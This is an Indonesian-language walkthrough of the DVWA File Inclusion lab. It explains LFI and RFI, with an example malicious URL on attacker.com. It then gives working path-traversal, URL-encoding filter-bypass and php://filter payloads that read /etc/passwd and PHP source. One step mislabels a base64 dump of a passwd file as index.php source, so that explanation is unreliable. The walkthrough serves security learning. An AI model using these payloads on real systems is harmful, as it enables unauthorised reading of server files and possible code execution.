> For the complete documentation index, see [llms.txt](https://dika-maulidal.gitbook.io/home/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://dika-maulidal.gitbook.io/home/writeups-and-walkthroughs/dvwa/file-inclusion.md).

# File Inclusion

<details>

<summary>Apa itu File Inclusion ?</summary>

**File Inclusion** adalah sebuah mekanisme yang umum ditemukan di aplikasi web, khususnya yang dibangun menggunakan bahasa seperti PHP, yang memungkinkan program untuk menyertakan atau memuat file lain (seperti *script*, halaman HTML, atau data) saat runtime (saat aplikasi sedang berjalan).

**Tujuan Utamanya :**&#x20;

1. Memuat *Header* atau *Footer*: Memastikan elemen yang sama (seperti navigasi atau hak cipta) muncul di setiap halaman tanpa perlu mengulang kode.
2. Memuat Modul Sesuai Permintaan: Menyertakan konten spesifik berdasarkan input pengguna (misalnya, `?page=about` akan memuat file `about.php`).

**Kerentanan File Inclusion**

1. **Local File Inclusion (LFI)** : Penyerang dapat memanfaatkan mekanisme *include* untuk memuat file arbitrer yang sudah ada di server (misalnya, `/etc/passwd` atau file konfigurasi aplikasi) menggunakan teknik Path Traversal (`../../`).
2. **Remote File Inclusion (RFI)** : Penyerang dapat memaksa aplikasi untuk memuat dan menjalankan file dari server eksternal yang mereka kontrol (misalnya, `http://attacker.com/malicious.txt`). Ini sering kali berujung pada Remote Code Execution (RCE).

**Dampak Singkat**

Jika kerentanan ini berhasil dieksploitasi, dampaknya bisa berkisar dari pengungkapan informasi sensitif (LFI) hingga pengambilalihan server sepenuhnya melalui eksekusi kode jarak jauh (RFI/LFI).

**Mitigasi :**&#x20;

1. Validasi Input: Gunakan Whitelist (Daftar Putih) untuk hanya mengizinkan nilai file yang sangat spesifik dan aman.
2. Konfigurasi PHP: Nonaktifkan RFI dengan mengatur `allow_url_include` ke `Off` di `php.ini`.

</details>

## Low

DVWA menyediakan modul File Inclusion untuk mempraktikkan kerentanan ini. Perhatikan *Uniform Resource Locator* (URL) di *browser*.

```
http://localhost/dvwa/vulnerabilities/fi/?page=include.php
```

Ketika kita berinteraksi dengan halaman ini, aplikasi web menggunakan sebuah parameter GET (biasanya bernama `page`) di URL untuk menentukan file mana yang akan dimuat dan ditampilkan.

> "Aplikasi ini dirancang dengan beberapa *hyperlink* yang dapat diakses melalui URL. Tampilan sebuah file spesifik dicapai melalui manipulasi parameter GET di URL. Mekanisme ini, yang dirancang untuk memuat halaman, justru membuka celah karena aplikasi tidak memvalidasi *input* dengan benar, sehingga berpotensi memungkinkan penyerang untuk menyertakan file sensitif arbitrer dari sistem server."

<figure><img src="https://3379135436-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4pfT5vR8uE4ISAa7XuPV%2Fuploads%2FDgYcaDY8hBcMMOigjKS7%2Fdvwa%201.png?alt=media&amp;token=bdbf5188-6a86-4c31-a46a-61472a1e5f1a" alt=""><figcaption></figcaption></figure>

**Ini adalah kode php level ini:**

```php
 <?php

    $file = $_GET['page']; //The page we wish to display 

?> 
```

Karena variabel `$file` diambil langsung tanpa sanitasi dari input pengguna (`$_GET['page']`), penyerang dapat menyuntikkan urutan Path Traversal (`../..`) untuk meloloskan diri dari direktori aplikasi.

Dengan memanfaatkan teknik ini, kita dapat membaca konten file sensitif seperti `/etc/passwd` dengan menggunakan *request* GET sebagai berikut:

```
http://[TARGET]/dvwa/vulnerabilities/fi/?page=../../../../etc/passwd
```

### **Metode Path Traversal**

Kerentanan Path Traversal terjadi karena kegagalan validasi. Penyerang menggunakan urutan navigasi direktori (`../`) untuk membaca file di luar direktori kerja.

"Dengan mengganti nilai parameter `page` menjadi `../../../../../etc/passwd`, kita berhasil mengakses file sensitif sistem `/etc/passwd`. Output dari file ini kemudian ditampilkan langsung di halaman HTML."

**Contoh Request:**

```
http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd
```

<figure><img src="https://3379135436-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4pfT5vR8uE4ISAa7XuPV%2Fuploads%2FbVXx6BJyPjsdcbGDXWpU%2Fdvwa%202.png?alt=media&amp;token=ac6c2a2b-d64e-4395-9d0f-cff8175f36ec" alt=""><figcaption></figcaption></figure>

**Teknik Encoding untuk Bypass Filter (WAF/Sanitasi)**

Dalam lingkungan dengan tingkat keamanan yang lebih tinggi (seperti *High Security* pada DVWA, atau aplikasi dengan *Web Application Firewall* - WAF), aplikasi mungkin mem-*filter* string umum seperti `../`. Untuk mengatasi ini, penyerang dapat menggunakan *URL Encoding* atau *Double URL Encoding*.

**Payload yang digunakan :**

```
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
```

Di sini, urutan:

* %2e merepresentasikan karakter `.` (titik).
* %2e%2e/ merepresentasikan `../` (Path Traversal).

> "Dengan mengganti parameter `page` menggunakan *encoding* parsial `%2e%2e/` sebanyak lima kali, kita berhasil mengakali filter sederhana dan mengakses file sensitif sistem `/etc/passwd`. Lima kali pengulangan (`%2e%2e/`) memastikan kita telah keluar dari kedalaman direktori aplikasi menuju *root* sistem."

**Contoh URL Full**

```
http://localhost/dvwa/vulnerabilities/fi/?page=%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
```

### Metode PHP Filter

Jika tujuannya adalah untuk mengungkap kode sumber (Source Code) dari file PHP tertentu (misalnya, file `index.php` atau file rentan itu sendiri), pendekatan yang lebih efektif adalah dengan memanfaatkan PHP Filters. Metode ini memaksa server untuk memproses file dan meng-*encode* isinya ke format Base64 sebelum menyertakannya, sehingga menghindari eksekusi kode dan hanya menampilkan teks mentah.

> "Untuk mengungkapkan kode PHP dari file target (misalnya, `index.php`), kita dapat menggunakan *PHP stream filter* `php://filter` dengan *encoding* Base64. Ini akan meng-*encode* kode PHP menjadi teks Base64 yang dapat kita *decode* untuk mendapatkan *source code* aslinya."

**Contoh Payload**

```
php://filter/convert.base64-encode/resource=index.php
```

**Contoh URL Payload**

```
http://localhost/dvwa/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=index.php
```

Hasilnya adalah string Base64 yang harus di-*decode* untuk mendapatkan *source code* asli `index.php`.

<figure><img src="https://3379135436-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4pfT5vR8uE4ISAa7XuPV%2Fuploads%2FSklN4G2iY8fowyQhzYtd%2Fdvwa%203.png?alt=media&amp;token=80799d8d-086c-46e1-a1bd-c5456c8b7433" alt=""><figcaption></figcaption></figure>

```
cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovYmluL3NoCmJpbjp4OjI6MjpiaW46L2JpbjovYmluL3NoCnN5czp4OjM6MzpzeXM6L2RldjovYmluL3NoCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L2Jpbi9zaAptYW46eDo2OjEyOm1hbjovdmFyL2NhY2hlL21hbjovYmluL3NoCmxwOng6Nzo3OmxwOi92YXIvc3Bvb2wvbHBkOi9iaW4vc2gKbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovYmluL3NoCm5ld3M6eDo5Ojk6bmV3czovdmFyL3Nwb29sL25ld3M6L2Jpbi9zaAp1dWNwOng6MTA6MTA6dXVjcDovdmFyL3Nwb29sL3V1Y3A6L2Jpbi9zaApwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L2Jpbi9zaAp3d3ctZGF0YTp4OjMzOjMzOnd3dy1kYXRhOi92YXIvd3d3Oi9iaW4vc2gKYmFja3VwOng6MzQ6MzQ6YmFja3VwOi92YXIvYmFja3VwczovYmluL3NoCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L2Jpbi9zaAppcmM6eDozOTozOTppcmNkOi92YXIvcnVuL2lyY2Q6L2Jpbi9zaApnbmF0czp4OjQxOjQxOkduYXRzIEJ1Zy1SZXBvcnRpbmcgU3lzdGVtIChhZG1pbik6L3Zhci9saWIvZ25hdHM6L2Jpbi9zaApub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi9iaW4vc2gKbGlidXVpZDp4OjEwMDoxMDE6Oi92YXIvbGliL2xpYnV1aWQ6L2Jpbi9zaApkaGNwOng6MTAxOjEwMjo6L25vbmV4aXN0ZW50Oi9iaW4vZmFsc2UKc3lzbG9nOng6MTAyOjEwMzo6L2hvbWUvc3lzbG9nOi9iaW4vZmFsc2UKa2xvZzp4OjEwMzoxMDQ6Oi9ob21lL2tsb2c6L2Jpbi9mYWxzZQpzc2hkOng6MTA0OjY1NTM0OjovdmFyL3J1bi9zc2hkOi91c3Ivc2Jpbi9ub2xvZ2luCm1zZmFkbWluOng6MTAwMDoxMDAwOm1zZmFkbWluLCwsOi9ob21lL21zZmFkbWluOi9iaW4vYmFzaApiaW5kOng6MTA1OjExMzo6L3Zhci9jYWNoZS9iaW5kOi9iaW4vZmFsc2UKcG9zdGZpeDp4OjEwNjoxMTU6Oi92YXIvc3Bvb2wvcG9zdGZpeDovYmluL2ZhbHNlCmZ0cDp4OjEwNzo2NTUzNDo6L2hvbWUvZnRwOi9iaW4vZmFsc2UKcG9zdGdyZXM6eDoxMDg6MTE3OlBvc3RncmVTUUwgYWRtaW5pc3RyYXRvciwsLDovdmFyL2xpYi9wb3N0Z3Jlc3FsOi9iaW4vYmFzaApteXNxbDp4OjEwOToxMTg6TXlTUUwgU2VydmVyLCwsOi92YXIvbGliL215c3FsOi9iaW4vZmFsc2UKdG9tY2F0NTU6eDoxMTA6NjU1MzQ6Oi91c3Ivc2hhcmUvdG9tY2F0NS41Oi9iaW4vZmFsc2UKZGlzdGNjZDp4OjExMTo2NTUzNDo6LzovYmluL2ZhbHNlCnVzZXI6eDoxMDAxOjEwMDE6anVzdCBhIHVzZXIsMTExLCw6L2hvbWUvdXNlcjovYmluL2Jhc2gKc2VydmljZTp4OjEwMDI6MTAwMjosLCw6L2hvbWUvc2VydmljZTovYmluL2Jhc2gKdGVsbmV0ZDp4OjExMjoxMjA6Oi9ub25leGlzdGVudDovYmluL2ZhbHNlCnByb2Z0cGQ6eDoxMTM6NjU1MzQ6Oi92YXIvcnVuL3Byb2Z0cGQ6L2Jpbi9mYWxzZQpzdGF0ZDp4OjExNDo2NTUzNDo6L3Zhci9saWIvbmZzOi9iaW4vZmFsc2UK
```

Decoding it with (<https://www.base64decode.org/>)

<figure><img src="https://3379135436-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4pfT5vR8uE4ISAa7XuPV%2Fuploads%2FCipVCLBFqWPb9MAJQnzS%2Fdvwa%204.png?alt=media&amp;token=c1d755c8-9827-4141-9281-f5aa71a697a2" alt=""><figcaption></figcaption></figure>

{% hint style="warning" %}
The input is not sanitized, so you can execute any (potentially malicious) command.
{% endhint %}
